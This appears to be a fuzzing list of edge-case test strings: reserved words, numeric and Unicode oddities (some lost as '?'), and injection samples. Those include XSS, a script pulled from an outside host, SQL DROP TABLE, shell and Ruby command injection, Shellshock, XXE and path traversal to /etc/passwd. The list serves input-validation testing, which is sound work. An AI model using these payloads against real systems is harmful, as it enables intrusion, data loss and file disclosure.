# Reserved Strings # # Strings which may be used elsewhere in code undefined undef null NULL (null) nil NIL true false True False None \ \\ # Numeric Strings # # Strings which can be interpreted as numeric 0 1 1.00 $1.00 1/2 1E2 1E02 1E+02 -1 -1.00 -$1.00 -1/2 -1E2 -1E02 -1E+02 1/0 0/0 -2147483648/-1 -9223372036854775808/-1 0.00 0..0 . 0.0.0 0,00 0,,0 , 0,0,0 0.0/0 1.0/0.0 0.0/0.0 1,0/0,0 0,0/0,0 --1 - -. -, 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 NaN Infinity -Infinity 0x0 0xffffffff 0xffffffffffffffff 0xabad1dea 123456789012345678901234567890123456789 1,000.00 1 000.00 1'000.00 1,000,000.00 1 000 000.00 1'000'000.00 1.000,00 1 000,00 1'000,00 1.000.000,00 1 000 000,00 1'000'000,00 01000 08 09 2.2250738585072011e-308 # Special Characters # # Strings which contain common special ASCII characters (may need to be escaped) ,./;'[]\-= <>?:"{}|_+ !@#$%^&*()`~ # Unicode Symbols # # Strings which contain common unicode symbols (e.g. smart quotes) Ω≈ç√∫˜µ≤≥÷ åß∂ƒ©˙∆˚¬…æ œ∑´®†¥¨ˆøπ“‘ ¡™£¢∞§¶•ªº–≠ ¸˛Ç◊ı˜Â¯˘¿ ÅÍÎÏ˝ÓÔÒÚÆ☃ Œ„´‰ˇÁ¨ˆØ∏”’ `⁄€‹›fifl‡°·‚—± ⅛⅜⅝⅞ ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя ٠١٢٣٤٥٦٧٨٩ # Unicode Subscript/Superscript # # Strings which contain unicode subscripts/superscripts; can cause rendering issues ⁰⁴⁵ ₀₁₂ ⁰⁴⁵₀₁₂ # Quotation Marks # # Strings which contain misplaced quotation marks; can cause encoding errors ' " '' "" '"' "''''"'" "'"'"''''" # Two-Byte Characters # # Strings which contain two-byte characters: can cause rendering issues or character-length issues 田中さんにあげて下さい パーティーへ行かないか 和製漢語 部落格 사회과학원 어학연구소 찦차를 타고 온 펲시맨과 쑛다리 똠방각하 社會科學院語學研究所 울란바토르 ??????? # Japanese Emoticons # # Strings which consists of Japanese-style emoticons which are popular on the web ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ (｡◕ ∀ ◕｡) ｀ｨ(´∀｀∩ __ﾛ(,_,*) ・(￣∀￣)・:*: ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’ (╯°□°）╯︵ ┻━┻) (ﾉಥ益ಥ）ﾉ ┻━┻ ( ͡° ͜ʖ ͡°) # Emoji # # Strings which contain Emoji; should be the same behavior as two-byte characters, but not always ? ?? ? ? ? ? ? ? ? ? ? ? ? ? ❤️ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ✋? ?? ?? ?? ?? ?? ? ? ? ? ? ? ? ? 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ ? # Unicode Numbers # # Strings which contain unicode numbers; if the code is localized, it should see the input as numeric １２３ ١٢٣ # Right-To-Left Strings # # Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew) ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو. בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ הָיְתָהtestالصفحات التّحول ﷽ ﷺ # Unicode Spaces # # Strings which contain unicode space characters with special properties (c.f. https://www.cs.tut.fi/~jkorpela/chars/spaces.html) ​   ᠎ 　  ␣ ␢ ␡ # Trick Unicode # # Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf) ‪‪test‪ ‫test‫ 
test
 test⁠test‫ ⁦test⁧ # Zalgo Text # # Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net) Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣ ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰ ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟ ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕ Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮ # Unicode Upsidedown # # Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com) ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥ 00˙Ɩ$- # Unicode font # # Strings which contain bold/italic/etc. versions of normal characters Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ ??? ????? ????? ??? ????? ???? ??? ???? ??? ??? ????? ????? ??? ????? ???? ??? ???? ??? ??? ????? ????? ??? ????? ???? ??? ???? ??? ??? ????? ????? ??? ????? ???? ??? ???? ??? ??? ????? ????? ??? ????? ???? ??? ???? ??? ??? ????? ????? ??? ????? ???? ??? ???? ??? ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢ # Script Injection # # Strings which attempt to invoke a benign script injection; shows vulnerability to XSS <script>alert('123');</script> "> '> > < / script >< script >alert(123)< / script > onfocus=JaVaSCript:alert(123) autofocus " onfocus=JaVaSCript:alert(123) autofocus ' onfocus=JaVaSCript:alert(123) autofocus ＜script＞alert(123)＜/script＞ ript>alert(123)ript> --> ";alert(123);t=" ';alert(123);t=' JavaSCript:alert(123) ;alert(123); src=JaVaSCript:prompt(132) ">javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); '`"><\x3Cscript>javascript:alert(1) '`"><\x00script>javascript:alert(1) ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF ABC
DEF test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> "`'> XXX <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> <!--[if]><script>javascript:alert(1)</script --> <!--[if<img src=x onerror=javascript:alert(1)//]> --> <script src="/\%(jscript)s"></script> <script src="\\%(jscript)s"></script> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=# onmouseover="alert('xxs')"> <IMG SRC= onmouseover="alert('xxs')"> <IMG onmouseover="alert('xxs')"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out <IMG SRC="  javascript:alert('XSS');"> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > <SCRIPT SRC=//ha.ckers.org/.j> <IMG SRC="javascript:alert('XSS')" <iframe src=http://ha.ckers.org/scriptlet.html < \";alert('XSS');// <plaintext> # SQL Injection # # Strings which can cause a SQL injection if inputs are not sanitized 1;DROP TABLE users 1'; DROP TABLE users-- 1 ' OR 1=1 -- 1 ' OR '1'='1 # Server Code Injection # # Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153) - -- --version --help $USER /dev/null; touch /tmp/blns.fail ; echo `touch /tmp/blns.fail` $(touch /tmp/blns.fail) @{[system "touch /tmp/blns.fail"]} # Command Injection (Ruby) # # Strings which can call system commands within Ruby/Rails applications eval("puts 'hello world'") System("ls -al /") `ls -al /` Kernel.exec("ls -al /") Kernel.exit(1) %x('ls -al /') # XXE Injection (XML) # # String which can reveal system files when parsed by a badly configured XML parser <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> # Unwanted Interpolation # # Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string. $HOME $ENV{'HOME'} %d %s %*.*s # File Inclusion # # Strings which can cause user to pull in files that should not be a part of a web server ../../../../../../../../../../../etc/passwd%00 ../../../../../../../../../../../etc/hosts # Known CVEs and Vulnerabilities # # Strings that test for known vulnerabilities () { 0; }; touch /tmp/blns.shellshock1.fail; () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; } # MSDOS/Windows Special Filenames # # Strings which are reserved characters in MSDOS/Windows CON PRN AUX CLOCK$ NUL A: ZZ: COM1 LPT1 LPT2 LPT3 COM2 COM3 COM4 # Scunthorpe Problem # # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem) Scunthorpe General Hospital Penistone Community Church Lightwater Country Park Jimmy Clitheroe Horniman Museum shitake mushrooms RomansInSussex.co.uk http://www.cum.qc.ca/ Craig Cockburn, Software Specialist Linda Callahan Dr. Herman I. Libshitz magna cum laude Super Bowl XXX medieval erection of parapets evaluate mocha expression Arsenal canal classic Tyson Gay # Human injection # # Strings which may cause human to reinterpret worldview If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you. # Terminal escape codes # # Strings which punish the fools who use cat/type on this file Roses are red, violets are blue. Hope you enjoy terminal hue But now...for my greatest trick... The quick brown fox... [Beeeep] # iOS Vulnerability # # Strings which crashed iMessage in iOS versions 8.3 and earlier Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗